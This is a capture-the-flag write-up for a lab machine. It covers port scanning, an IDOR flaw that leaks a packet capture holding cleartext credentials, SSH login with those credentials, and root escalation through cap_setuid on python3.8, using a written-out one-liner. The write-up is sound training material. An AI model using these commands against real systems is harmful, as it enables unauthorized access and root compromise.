CTF Writeup — HTB Machine (10.129.48.150)

Reconnaissance

A full port scan was conducted against the target to enumerate open services.

1

nmap -T4 -A -sS -sV -p- 10.129.48.150

Results:

The target is running Linux 5.0–5.14, reachable via 2 hops (RTT ~11ms).

Web Enumeration — IDOR

Navigating to http://10.129.48.150/ presents a Security Dashboard web application.

The download endpoint was found to be vulnerable to Insecure Direct Object Reference (IDOR) — packet capture files belonging to other users could be accessed by simply manipulating the numeric ID in the URL:

1

http://10.129.48.150/download/0

Downloading the PCAP file at index 0 and opening it in Wireshark revealed credentials in cleartext within the captured traffic.

Initial Access — SSH

Using the credentials extracted from the PCAP file, SSH access was obtained:

1

ssh <user>@10.129.48.150

Privilege Escalation — Python Capabilities

With a foothold on the machine, Linux capabilities were enumerated across the filesystem:

1

getcap -r / 2>/dev/null

Output:

1

/usr/bin/python3.8 = cap_setuid+ep

The cap_setuid capability on python3.8 allows the binary to arbitrarily set its UID — including to 0 (root) — without needing a SUID bit. This is a well-known GTFOBins escalation path.

The following one-liner was used to escalate to root:

1

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'

A root shell was obtained.

Summary

Key Takeaways

• IDOR vulnerabilities can expose sensitive files belonging to other users when object references are predictable and access controls are absent.
• Capabilities are a subtle but dangerous misconfiguration — cap_setuid on an interpreter is effectively equivalent to SUID root.
• Always enumerate capabilities alongside SUID binaries during privilege escalation.